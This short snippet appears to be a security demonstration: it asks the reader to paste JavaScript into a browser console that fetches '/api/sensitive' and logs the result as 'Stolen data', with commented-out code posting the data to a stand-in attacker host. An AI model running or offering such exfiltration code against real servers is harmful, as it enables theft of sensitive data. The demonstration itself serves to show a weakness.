Paste this into the browser console to see how easy it is to steal data from the server:
fetch('/api/sensitive')
.then((r) => r.json())
.then((data) => {
console.log('Stolen data:', data);
// In real attack, would send to attacker's server:
// fetch('https://attacker.com/collect', {
// method: 'POST',
// body: JSON.stringify(data)
// });
});